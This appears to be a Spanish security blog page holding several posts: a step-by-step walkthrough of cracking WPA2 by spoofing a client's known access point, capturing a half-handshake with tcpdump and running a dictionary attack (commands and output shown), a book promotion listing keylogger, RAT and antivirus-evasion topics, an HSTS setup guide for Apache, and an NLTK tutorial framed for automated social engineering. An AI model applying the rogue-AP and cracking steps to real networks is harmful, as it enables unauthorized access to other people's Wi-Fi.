Las redes wifi con WPA/WPA2 activado suelen ser suficientemente seguras y dadas sus características, a la fecha de redactar este articulo, la única forma de atacar directamente una red con este mecanismo de protección es intentando capturar un 4way-handshake entre el cliente y un AP. Un 4way-handshake en la terminología de WPA se refiere a los paquetes de datos intercambiados entre AP y cliente a la hora de realizar el proceso de autenticación mutuo. No obstante, aunque un handshake completo es lo deseado para poder iniciar un ataque por diccionario, también es posible hacerlo con un handshake “a medias”, es decir, cuando el cliente inicia el proceso de autenticación con un AP y dicho proceso ha fallado. Ahora bien, seguramente el lector ya lo sabe, pero cuando un dispositivo tiene registrado un AP con el que suele conectarse con frecuencia (como por ejemplo una red wifi domestica), dicho dispositivo envía de forma constante paquetes del tipo “PROBE_REQUEST” con la esperanza de que el AP se encuentre en en la zona de alcance. Cuando un AP con el SSID especificado responde con un “PROBE_RESPONSE”, el proceso de autenticación en ambos sentidos comienza inmediatamente, dando lugar a una serie de peticiones que identifican tanto al cliente como al AP y determinan si ambos son quienes dicen ser. Se trata de un procedimiento robusto en el que la relación de confianza en ambos sentidos es vital para que la conexión se pueda realizar correctamente. No obstante, es posible que solamente una de las dos partes se pueda identificar con la otra de forma correcta, en este caso hablamos de un handshake a medias, ya que solamente una de las dos entidades ha podido reconocer a la otra. Con un handshake a medias también es posible realizar el mismo ataque por diccionario que con un handshake completo y por este motivo, también es un vector de ataque valido en este tipo de entornos.
Ahora, ¿Cuándo y cómo se debe llevar a cabo este tipo de ataque? Cuando se capturan los paquetes “PROBE_REQUEST” de un cliente, dichos mensajes contienen el SSID del AP que el cliente busca y en este punto, un atacante puede levantar un AP falso con dicho SSID para responder a las peticiones enviadas por el cliente. Para responder al “cómo” de la pregunta anterior, pueden haber varios mecanismos validos, como por ejemplo utilizando la herramienta “ap-hotspot”. Por simplicidad y porque es una solución rápida de implementar, se puede utilizar la herramienta “KDE NetworkManager” o el “NetworkManager de Gnome”, a efectos prácticos utilizar cualquiera de los dos resulta equivalente.

Configurando un AP inalámbrico con el NetworkManager

En sistemas Debian el paquete que incluye el KDE NetworkManager es el “network-manager-kde” y en sistemas Ubuntu el “plasma-nm”. Como es acostumbrado en este tipo de sistemas, se puede instalar muy fácilmente utilizando herramientas como “apt-get”. Por otro lado, en sistemas Debian y Ubuntu con GNOME, el NetworkManager viene incluido por defecto y se puede ver en el panel lateral en donde se encuentran otras herramientas del escritorio. En ambos casos, crear un AP es bastante simple, las imágenes que se enseñan a continuación muestran cómo crear un AP con un SSID y una contraseña. (Antes de crear la conexión, asegurarse de que la red wifi se encuentra desactivada).

 

wifi1

Creando conexión inalámbrica con NetworkManager de Gnome

wifi2

Estableciendo los detalles básicos de conexión

wifi3

Estableciendo credenciales de acceso a la conexión.

Después de crear la conexión, aun es necesario cambiar el modo de la conexión, de esta forma actuará como AP. Para ello, es necesario editar el siguiente fichero de configuración.

sudo gedit /etc/NetworkManager/system-connections/ONO-FAKE

Donde “ONO-FAKE” es el nombre que se le ha dado a la conexión. Al abrir dicho fichero de configuración, es necesario cambiar la línea “mode=infrastructure” por “mode=ap”. El contenido del fichero será similar al siguiente:

[connection]

id=ONO-FAKE

uuid=c3704266-e143-4705-a3c0-9511fc2d37eb

type=802-11-wireless

[802-11-wireless]

ssid=ONO12B5

mode=infrastructure

mac-address=9C:D2:1E:43:76:E9

security=802-11-wireless-security

[802-11-wireless-security]

key-mgmt=wpa-psk

psk=testingwpa2ap

[ipv4]

method=auto

[ipv6]

method=auto

Con todo lo anterior, ahora se puede activar la red wifi y el dispositivo actuará como un AP con el SSID indicado.

El siguiente paso consiste en capturar todo el trafico correspondiente a las conexiones que realizarán los clientes contra el AP recién creado. Para ello, se puede utilizar Wireshark, TCPDump o airodump-ng para capturar el handshake a medias.

sudo tcpdump -i wlan0 -s 65535 -w half-handshake.cap

Una forma de conseguir trafico, es utilizando herramientas como aircrack-ng para ejecutar ataques de “deauthenticación” contra los clientes de una red determinada. En el caso de que no exista un AP con el SSID especificado en la zona de acción, pero que se tenga la plena seguridad de que en algún momento habrá clientes que busquen dicho SSID, solamente será cuestión de paciencia y esperar a que dichos clientes ejecuten las peticiones “PROBE_REQUEST”.

Finalmente, es el momento de realizar el ataque por diccionario y para ello, se puede utilizar una herramienta llamada “WPA2-HalfHandshake-Crack”

Utilizando WPA2-HalfHandshake-Crack

“WPA2-HalfHandshake-Crack” es una herramienta que se encarga de realizar ataques por diccionario contra ficheros PCAP con un handshake completo o uno a medias. El proyecto se encuentra ubicado en el siguiente repositorio de GitHub: https://github.com/dxa4481/WPA2-HalfHandshake-Crack.git

Es necesario instalar todas las dependencias para poder ejecutar el script y para ello, se puede lanzar el script setup.py con el argumento “install”. La utilidad principal del proyecto es “halfHandshake.py” y recibe como argumento las siguientes opciones:

-r: Fichero PCAP con el handshake o el handshake a medias que se ha capturado previamente

-m: Dirección MAC del AP.

-s: El SSID del AP.

-d: Ubicación del diccionario para realizar el ataque. Si no se especifica un valor, se lee el diccionario por defecto de la herramienta.

Usando el fichero PCAP capturado en el paso anterior y un diccionario que contiene la contraseña, se puede ejecutar la utilidad para intentar obtener el passphrase.

python halfHandshake.py -r half-handshake.cap -m FC15B4FCF606 -s “ONOB4387″ -d dictONOFAKE

loading dictionary…

0.02212665655% done. 700.23228772 hashes per second

0.0431311549654% done. 713.574044375 hashes per second

0.0637903739549% done. 714.927209317 hashes per second

0.0851689250818% done. 721.570195251 hashes per second

0.105885690642% done. 721.111075404 hashes per second

Passphrase found! testingwpa2ap

Como se puede apreciar, ha sido rápido y limpio, evidentemente porque el diccionario especificado ya contenía la passphrase del AP, sin embargo es bastante ilustrativo para probar el uso de esta herramienta y verificar que aunque no se cuente con un handshake completo, aun sigue siendo posible realizar un ataque por diccionario con un handshake a medias.

Un saludo y Happy Hack!
Adastra

Hoy vengo a hablar de mi libro: Hacking con Python

febrero 24, 2015 2 comentarios

Antes de hablar de mi nuevo libro, quiero agradecer a todos los que habéis confiado en mi trabajo y habéis comprado el libro de “Python para Pentesters”. Espero que cubra vuestras expectativas y que sea un buen aporte para vuestra vida profesional y/o académica.
Por otro lado, tengo el gran placer de informaros que ya se encuentra disponible el libro de “Hacking con Python” que pretende dar continuidad al libro de “Python para Pentesters” desde una perspectiva completamente ofensiva.
En esta ocasión he intentado salirme un poco de las pruebas convencionales que aplica un pentester profesional cuando utiliza un lenguaje como Python y me he enfocado en escribir sobre aquellas cosas que definitivamente se encuentran más cercanas al “cibercrimen” y cómo un atacante utiliza Python para crear herramientas que pueden ser muy dañinas o en algunos casos, extremadamente divertidas desde el más profundo sentido BOFH (los que seguís las aventuras del genial Wardog sabéis perfectamente a lo que me refiero y también os recuerdo que podéis comprar su libro en el sitio de 0xWORD).

En el libro de “Python para Pentesters” habéis podido ver varias herramientas y librerías que son de uso común en auditorías de pentesting y hacking ético, se trata de un conocimiento vital para aprender a desarrollar herramientas plenamente funcionales con pocas líneas de código y con relativamente poco esfuerzo, algo que desde luego le viene muy bien a cualquiera, sin embargo, lo mismo aplica para un atacante en Internet desde una perspectiva y con motivaciones completamente opuestas. En este sentido, no solamente cambia el enfoque, sino también las técnicas, librerías y herramientas a utilizar y es de esto de lo que trata el nuevo libro.

Para que os hagáis una idea, algunas de las cosas que a mi juicio son las más interesantes las listo a continuación.

– Uso de redes virtuales privadas y trafico por ICMP para evasión de firewalls.

– Fuzzing y explotación de software.

– Ofuscación de shellcodes y evasión de antivirus.

– Arquitectura de redes anónimas como I2P y TOR.

– Acceso programático a redes anónimas tales como I2P y TOR.

– Cibercrimen y anonimato.

– Anatomía de campañas APT.

– Análisis de maleware con Python.

– Inyección de código en procesos y librerías del sistema.

– Desarrollo de keyloggers multiplataforma con Python.

– Desarrollo de screen scrapers multiplataforma con Python.

– Desarrollo de webcam scrapers multiplataforma con Python.

– Desarrollo de RATs con Python.

– Y …. cómo utilizar Django/GeoDjango para geolocalizar los repetidores de TOR y visualizar gráficamente una botnet.

Son solamente algunas de las cosas que verás en el libro y como puedes apreciar, los contenidos son mucho más avanzados y específicos que los que se encuentran incluidos en el libro de “Python para Pentesters” y la serie de vídeos sobre Hacking con Python que he grabado hace algunos meses.

Los que seguís este blog y conocéis mi trabajo, sabéis que los artículos que redacto en este espacio son producto de mi pasión por la informática e intento imprimir un poco de ese interés en cada post que redacto, siempre sigo una rutina diaria de estudio e investigación, lo que al final me ha supuesto incontables días con sus correspondientes noches en los que me he pasado leyendo, probando, programando, aprendiendo, reaprendiendo, dándome contra muros y descubriendo. Esa es una de las cosas que me hacen feliz y por eso lo hago. Con este blog, los libros que he escrito y los que me encuentro escribiendo sigo la misma filosofía, no busco fama ni gloria, no quiero simplemente publicar código, lo que busco es transmitir un mensaje, demostrar que el esfuerzo, la dedicación y la disciplina son las claves para ser un buen informático y que si no tienes esos valores completamente asimilados, lo mejor es que te dediques a otra cosa. Para mi ese es “el camino del hacker”, no es simplemente un oficio con el que pagas tus facturas al final de cada mes, para muchos es una forma de vida en si misma.
Este nuevo libro está dedicado a esas personas que viven la informática y el hacking como algo muy personal y cercano, lo podrás ver desde la primera página.

“Este libro te lo quiero dedicar ti, herman@ hacker. Espero que algún día se valore tu esfuerzo y dedicación, que se reconozcan las virtudes que te hacen ser quien eres y que por fin se entienda tu filosofía de vida.
¿Realmente está mal aquello que te da claridad, te permite ver las cosas desde otras perspectivas y expande tu mente?
Adelante! aún te queda mucho por recorrer y aprender.”

Espero que sea de tu agrado y que te diviertas tanto leyéndolo como yo escribiéndolo.

Saludos y Happy Hack!
Adastra.

Conceptos básicos de HSTS y configuración en Apache

febrero 19, 2015 1 comentario

HSTS o Http Strict Transport Security es un mecanismo que intenta mitigar los ataques de MITM sobre SSL obligando a los clientes a utilizar únicamente conexiones cifradas con TLS/SSL. Su funcionamiento no es demasiado complicado y aporta un mecanismo de defensa adicional que a día de hoy, es prácticamente imprescindible para mantener un buen nivel de seguridad en el canal de comunicación.
HSTS es un mecanismo que se encuentra soportado por los principales servidores web modernos, tales como Apache o NGNIX y además, navegadores a la altura de Firefox, Opera o Chrome soportan las cabeceras HTTP necesarias para obligar el uso de HSTS en el lado del cliente.
Si un servidor web soporta HSTS, todas las respuestas emitidas a los clientes contendrán la cabecera HTTP “Strict-Transport-Security”, lo cual le indica al cliente que todas las peticiones que se realicen contra el servidor web deben utilizar un certificado valido y todas las conexiones se deben realizar utilizando el protocolo HTTPS únicamente. El comportamiento de los clientes que soportan la política HSTS es bastante simple y muy efectivo ante ataques de MITM. En primer lugar, se encargan de cambiar el esquema “http://” por “https://” de todos los enlaces que hacen referencia al servidor web con HSTS y por otro lado, si la existe cualquier problema con el canal de comunicación, la comunicación es cortada automáticamente, como por ejemplo el caso típico en el que el certificado que se presenta al usuario es auto-firmado o de una identidad no verificada.
En este articulo se explicará cómo se puede habilitar HSTS en un servidor web Apache y se inspeccionarán las cabeceras de las peticiones enviadas por los clientes y las respuestas del servidor, de esta forma quedará mucho más claro el funcionamiento de HSTS en un servidor web.

Habilitando HSTS en Apache

Habilitar HSTS en un servidor web Apache es algo que inicialmente puede parecer trivial, ya que solamente es necesario cargar el módulo “headers” y utilizar la directiva “Header” con el valor HSTS correspondiente, sin embargo, algo que hay que tener presente es que los navegadores web ignoran la cabecera “Strict-Transport-Security” si no hace parte de una conexión HTTPS. Dicho de otra forma, si un cliente realiza una petición HTTP a un servidor y la respuesta de dicho servidor contiene la cabecera “Strict-Transport-Security”, dicha cabecera no tendrá ningún valor para el cliente y sera ignorada, ya que los navegadores deben recibir la cabecera “Strict-Transport-Security” en una conexión HTTPS para que la apliquen sobre el dominio en cuestión.

Dicho esto, queda claro que habilitar HSTS es solamente una pequeña parte de una configuración segura, ya que será necesario habilitar el módulo de SSL/TLS en un VirtualHost del servidor web. En un articulo de hace algún tiempo, ya hablaba sobre cómo hacer esto, así que te recomiendo visitar el siguiente enlace. El fichero de configuración completo, que se puede utilizar para habilitar HTTPS y HSTS puede ser la siguiente:

ServerAdmin debiadastra@thehackerway.comServerName Galileo:80

ServerRoot “/opt/httpd-2.4.10″

ErrorLog “logs/error_log”

LogLevel warn

Listen 80

Listen 443

LoadModule authz_core_module modules/mod_authz_core.so

LoadModule headers_module modules/mod_headers.so

LoadModule unixd_module modules/mod_unixd.so

LoadModule ssl_module modules/mod_ssl.so

<IfModule unixd_module>

User adastra

Group adastra

</IfModule>

<IfModule alias_module>

ScriptAlias /cgi-bin/ “/opt/httpd-2.4.10/cgi-bin/”

</IfModule>

<Directory “/opt/httpd-2.4.10/cgi-bin”>

AllowOverride None

Options None

Require all granted

</Directory>

<IfModule ssl_module>

SSLRandomSeed startup builtin

SSLRandomSeed connect builtin

</IfModule>

<VirtualHost *:443>

Header always set Strict-Transport-Security “max-age=63072000; includeSubDomains”

DocumentRoot “/opt/httpd-2.4.10/htdocs/hstsTesting”

SSLEngine on

<Directory /opt/httpd-2.4.10/htdocs/hstsTesting>

Options Indexes FollowSymLinks

SSLRequireSSL

</Directory>

SSLCertificateFile /opt/httpd-2.4.10/webserver.crt

SSLCertificateKeyFile /opt/httpd-2.4.10/webserver.key

<IfModule mime_module>

AddType application/x-x509-ca-cert .crt

AddType application/x-pkcs7-crl .crl

</IfModule>

</VirtualHost>

Si el usuario intenta visitar el servidor utilizando el protocolo HTTPS, verá la siguiente pantalla de error indicando que la conexión no es segura y por ese motivo se ha cancelado la navegación.

hsts1

El motivo de esto, es que los certificados utilizados por el servidor web no han sido emitidos por una CA de confianza para el cliente y dado que se ha indicado que la comunicación debe realizarse con HSTS, la comunicación entre el cliente y el supuesto servidor no puede continuar llevándose a cabo. Esto evita que se realicen ataques de “SSL Stripping” con herramientas tan conocidas como SSLStrip.

Esta configuración del lado del servidor es vital para mantener sitios web con un nivel de seguridad añadido. Por otro lado, desde el cliente también es posible habilitar este “opt-in” de seguridad para determinados dominios, de tal forma que aunque el servidor no incluya explícitamente la cabecera estándar HSTS, el navegador por si solo bloqueará cualquier intento de conexión no segura, evitando problemas con el canal de comunicación. Un buen ejemplo de configuración de HSTS en el lado del cliente se encuentra en el navegador Chrome, el cual permite gestionar dóminos personalizados que deben seguir la norma HSTS. Para entrar a esta interfaz de administración del navegador, es necesario ingresar a la siguiente ruta: chrome://net-internals/#hsts

Una vez allí, Chrome enseñará la interfaz que se puede ver en la siguiente imagen para la gestión de dominios con HSTS.

hsts2

Por otro lado, si la configuración anterior no se ha aplicado para un dominio concreto y aunque dicho dominio tenga HSTS habilitado, si las peticiones iniciales se realizan utilizando HTTP, aun cabe la posibilidad de utilizar una herramienta como “sslstrip” para realizar un ataque de “hijacking”. Por ejemplo, una configuración bastante común consiste en redireccionar todo el trafico por HTTP a HTTPS, es decir, en el caso que el usuario solicite el sitio web “http://example.com”, automáticamente se realizará la redirección a “https://example.com” y dado que la petición inicial ha sido utilizando HTTP, aun existe la posibilidad de llevar a cabo un ataque. Por este motivo, navegadores como Chrome y posteriormente otros como Firefox y Opera implementan un mecanismo conocido como “HSTS Preload List” o lista de dominios HSTS precargada. Dicho mecanismo, como su nombre lo indica, carga una lista de dominios que deben cumplir con la normativa HSTS en el momento en el que el navegador arranca, de esta forma si el usuario solicita el recurso “http://example.com” la comunicación automáticamente será cortada, obligando al usuario a ingresar en la versión segura con HTTPS. Para tener los valores adecuados en dicha lista, se utiliza un algoritmo de rastreo en busca de la cabecera HSTS en múltiples sitios en Internet, además, cualquiera puede enviar una solicitud para que su sitio web sea incluido en dicha lista (la cual es compartida entre Chrome, Safari y Firefox). Para realizar dicha solicitud, basta con ingresar el dominio en cuestión en el siguiente sitio: https://hstspreload.appspot.com/
Este articulo ha sido una introducción al funcionamiento de HSTS y en uno próximo, veremos en detalle el funcionamiento de “sslstrip2”.

Un Saludo y Happy Hack!

Adastra.

Procesamiento del lenguaje natural con NLTK para Ingeniería social automatizada

febrero 17, 2015 3 comentarios

En una entrada anterior os hablaba de un proyecto que llevo estudiando desde hace algún tiempo para el análisis de emociones, dicho proyecto es “wefeelfine” y tal como os comentaba, cuenta con una API Rest que permite realizar varios tipos de consultas para obtener un listado de sentimientos recolectados en Internet. La recolección de datos que realiza dicha plataforma se basa en la ejecución de varios procesos de crawling para extraer y almacenar información de múltiples sitios en Internet, sin embargo, una de las cosas que más me ha llamado la atención es el procesamiento de los textos y las funciones utilizadas para determinar la polaridad de dichas palabras. La complejidad de un proceso de “stemming” (derivación y combinaciones de palabras) sobre el lenguaje natural no es una tarea sencilla, especialmente cuando hablamos de las características propias de cada lenguaje, al final ocurre que solamente nos podemos centrar en un conjunto limitado de lenguajes, tal como ocurre en “wefeelfine” que solo procesa los textos escritos en ingles y en castellano, aunque este último con bastantes deficiencias. Si estás pensando en desarrollar un proceso de minería de datos sobre alguna red social como Twitter, Facebook o cualquier otro sitio web en Internet, lo más probable es que te interese también extraer información útil a la que posteriormente le puedas aplicar algún tipo de análisis estadístico sobre marcas, tendencias o de carácter histórico/evolutivo. En cualquier caso, es necesario aplicar técnicas de “Procesamiento del lenguaje Natural” o NLP (Natural Lenguage Processing) por sus siglas en ingles, las cuales permiten aplicar patrones a un texto concreto y extraer información de interés (no confundir con NLP: Neuro-Linguistic Programming). Antes de continuar, viene bien explicar en qué consiste NLP y cómo se puede utilizar la librería NLTK en Python.

¿Qué es NLP?

Se trata de un conjunto de técnicas que permiten el análisis y manipulación del lenguaje natural. Dada la complejidad intrínseca que acompaña cualquier proceso de NLP, muchas de las técnicas automatizadas están relacionadas con el uso de la IA (Inteligencia Artificial) y las ciencias cognitivas. Para aplicar las técnicas más comunes en NLP, la librería NLTK (Natural Language Tool Kit) permite que cualquier programa escrito en lenguaje Python pueda invocar a un amplio conjunto de algoritmos que sustentan las principales técnicas de NLP para la generación de métricas, frecuencia de términos, polaridad negativa/positiva de frases y textos, entre otras muchas técnicas.
Existen algunos
términos comunes en NLP que se deben comprender antes de poder aplicar cualquier técnica y entender los resultados que arrojan, dichos términos resultarán de lo más lógicos, pero si no se tienen en cuenta a la hora de programar, pueden resultar confusas las funciones y resultados arrojados por NLTK.

Token: Se trata de la unidad más simple de procesamiento y representa una palabra en el texto.
Sentencia: Secuencia ordenada de tokens.
Tokenización: Se trata del proceso de segmentar una sentencia en cada uno de los tokens que la componen. Aunque puede ser un proceso simple para textos escritos en algunas lenguas, especialmente en el caso de las románicas cuyo token separador es un espacio, en otras lenguas como las altaicas, extraer los tokens de una sentencia es un proceso mucho más complejo debido a la sintaxis y semántica de los escritos en dichas lenguas.
Corpus: Cuerpo del mensaje que se encuentra compuesto por un conjunto de sentencias.
Part-of-speech (POS): Dependiendo de la semántica del lenguaje, cada token que compone una sentencia puede ser un verbo, un adjetivo, un pronombre, un articulo, etc. Un POS es simplemente una clasificación para cada token dentro de una sentencia, de esta forma es posible identificar el significado de cada token y las partes clave de cada sentencia.
Árbol: Todos los textos están compuestos por varias sentencias y cada sentencia tiene varios tokens con sus respectivos POS. Un árbol parseado incluye cada una de las dependencias de las sentencias y cada parte del texto. Es una forma de ordenar cada uno de los elementos del “corpus” de una forma que sea fácil de consultar.

Ahora que se ha expuesto la terminología básica, lo siguiente es conocer las principales técnicas definidas en un proceso NLP.

Etiquetado de POS: Una de las principales labores en un proceso de NLP, es identificar cada una una de las sentencias de un texto y clasificar cada uno de los tokens con sus correspondientes POS. Un “POS Tagger” es una rutina que se encarga de crear un diccionario con cada uno de dichos tokens y sus correspondientes POS. Por ejemplo, si la sentencia “El coche es rojo” es procesada por un POS Tagger el resultado es el siguiente: {“El” : AT , “coche” : NN , “es” : VB, “rojo” : JJ}
Donde cada POS asume los siguientes valores:
AT : Artículo
NN : Sustantivo
VB: Verbo
JJ: Adjetivo.

Parsers:
Un parser se encarga de producir un árbol de tokens con sus correspondientes POS partiendo de una sentencia determinada. Muchos de estos parsers depende un POS Tagger antes de poder generar un árbol.

Morfología:
Consiste en el proceso de catalogar cada token de una sentencia y extraer sus “morfemas” y “
raíces” para posterior análisis. Para comprender lo anterior, es necesario saber que cada token tiene una morfología que determina la estructura interna de la palabra. La morfología de una palabra puede dar lugar a nuevas palabras a partir de su morfema base y en todo caso, es importante diferenciar la morfología de la sintaxis de una palabra, ya que la morfología intenta determinar la estructura interna de las palabras, mientras que la sintaxis explica las normas para crear oraciones y textos.

Traductor:
Se trata de unas las principales aplicaciones de NLP, en la que partiendo de un texto escrito en un lenguaje determinado, es posible conseguir su traducción en otro lenguaje. Es una tarea compleja y requiere que el texto origen se encuentre correctamente
construido y cada bloque semántico del “corpus” se encuentre perfectamente redactado para conseguir una traducción legible en otro lenguaje. Google Traductor es uno de los servicios más completos y mejor implementados (que conozco) que utiliza parsers y POS Taggers avanzados para conseguir la traducción más exacta posible.

Instalación y uso básico de NLTK

La instalación del proyecto NLTK puede realizarse fácilmente utilizando PIP o easy_install.

sudo pip install -U nltk

Una dependencia opcional que también puede instalarse con PIP es numpy. Para verificar que ha quedado correctamente instalada, basta con importar el módulo ntlk y si no se aprecia ningún error, se puede asumir que el proceso de instalación ha ido bien.

Por otro lado, además de la librería también es necesario instalar una serie de ficheros y diccionarios con patrones para varios tipos de estructuras gramaticales llamados “corporas”, dichos ficheros se instalan de forma independiente por medio de un gestor de descargas que puede iniciarse utilizando el modulo nltk

>python
>>>import nltk
>>>nltk.download()


Invocando a “download” se abre una ventana en la que se pueden gestionar todos los ficheros “corpora” en diferentes
categorías. Si es la primera vez que se utiliza nltk, se realizará la descarga de dichos ficheros.
Los corpus principal
es que se suelen utilizar en el procesamiento de texto son conocidos como “gutenberg”, el cual incluye una selección de 18 textos del proyecto Gutenberg (http://www.gutenberg.org/) y contiene más de 1.5 millones de palabras. Para consultar los textos de gutenberg incluidos en el corpus de NLTK, se pueden ejecutar las siguientes instrucciones.

>>>from nltk.corpus import gutenberg

>>>print gutenberg.fileids()

['austen-emma.txt',

'austen-persuasion.txt',

'austen-sense.txt',

'bible-kjv.txt',

'blake-poems.txt',

'bryant-stories.txt',

'burgess-busterbrown.txt',

'carroll-alice.txt',

'chesterton-ball.txt',

'chesterton-brown.txt',

'chesterton-thursday.txt',

'edgeworth-parents.txt',

'melville-moby_dick.txt',

'milton-paradise.txt',

'shakespeare-caesar.txt',

'shakespeare-hamlet.txt',

'shakespeare-macbeth.txt',

'whitman-leaves.txt']

Ahora es el momento de comenzar a utilizar la librería y para ello, se puede utilizar el siguiente script, el cual se encarga de pintar por pantalla cada uno de los textos del proyecto gutenberg, el número de caracteres, el número de tokens, el número de sentencias y el número de veces que un item del vocabulario aparece en una sentencia.

from nltk.corpus import gutenberg
for fileid in gutenberg.fileids():
    num_chars = len(gutenberg.raw(fileid))
    num_tokens = len(gutenberg.words(fileid))
    num_sents = len(gutenberg.sents(fileid))
    num_vocab = len(set(w.lower() for w in gutenberg.words(fileid)))
    print str(num_chars) + &quot; - &quot; + str(num_tokens) + &quot; - &quot; + str(num_sents) + &quot; - &quot; + str(num_vocab)

Aunque se ha utilizado un corpus que se encuentra implementado en NLTK, también es posible utilizar uno propio y de hecho, es lo más común para realizar diferentes tipos de análisis sobre los datos de un texto. Para ello se pueden utilizar las clases PlaintextCorpusReader o BracketParseCorpusReader.

from nltk.corpus import PlaintextCorpusReader
import nltk
wordlists = PlaintextCorpusReader(&quot;/home/adastra/Escritorio/textos&quot;, '.*')
wordlists.words('prueba.txt')
print &quot;Sentences: &quot;+str(len(wordlists.sents()))
for sentence in wordlists.sents():
    tokens = nltk.word_tokenize(str(sentence))
    tagged_tokens = nltk.pos_tag(tokens)
    verbs = 0
    for tagged in tagged_tokens:
        token, tag = tagged
        if tag == 'VBP' or tag == 'VB':
            verbs += 1
    print &quot;Tokens: &quot;+str(len(tokens)) + &quot; - Verbs: &quot;+str(verbs)&lt;/td&gt;

El script anterior lee el fichero “prueba.txt” que se encuentra en el directorio “/home/adastra/Escritorio/textos” y se encarga de contar el número de sentencias, el número de tokens por sentencia y los verbos de cada sentencia, los cuales están marcados con el tag “VBP” o “VB”.

Estas son solamente algunas de las características incluidas en NLTK y me dejo muchas, muchísimas cosas que se pueden hacer con esta librería y que entran en el campo de la lingüística y el análisis de datos.
Antes de terminar con este articulo, os indico brevemente un proyecto que utilizan NLTK y que cuenta con algunos servicios que pueden utilizarse por medio de peticiones HTTP planas. Dicho proyecto es “text-processing”. Desde la URL http://text-processing.com/demo/ pueden apreciarse 4 ejemplos del procesamiento de texto en lenguaje natural, siendo el más interesante, desde mi punto de vista, el que corresponde con el análisis de sentimientos. Como comentaba antes, dicho servicio se puede invocar directamente por medio de una petición HTTP utilizando el método POST, algo que se puede hacer con cualquier lenguaje de programación e infinidad de herramientas, entre las que se incluyen wget y curl.

>curl -d “text=spain is different” http://text-processing.com/api/sentiment/

{“probability”: {“neg”: 0.38781650900239895, “neutral”: 0.59783687451926548, “pos”: 0.61218349099760105}, “label”: “neutral”}

Como se puede apreciar, el parámetro “text” es el que incluye el texto que la plataforma debe procesar y el resultado es una estructura JSON con el porcentaje que indica qué tan “negativa”, “positiva” o “neutral” es la frase. En este caso, se ha enviado el texto “spain is different” y como se puede apreciar en el resultado, la plataforma determina que el texto es neutral, aunque el porcentaje de “positivismo” es del 61% frente a un 38% de “negatividad”. Al parecer, ni la plataforma, ni NLTK son capaces de distinguir la ironía.

Todo esto puede ser muy interesante para procesos automatizados de ingeniería social que permitan recolectar información de sitios en internet como Twitter o Facebook y determinen la polaridad de los mensajes de ciertas cuentas y además, determinar si las condiciones climáticas en la hora y lugar desde donde se publico el tweet han podido tener algún tipo de influencia.
Esta y otras ideas, se desarrollarán en mayor detalle en próximos artículos.

Un saludo y Happy Hack!
Adastra.

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.403 seguidores

A %d blogueros les gusta esto: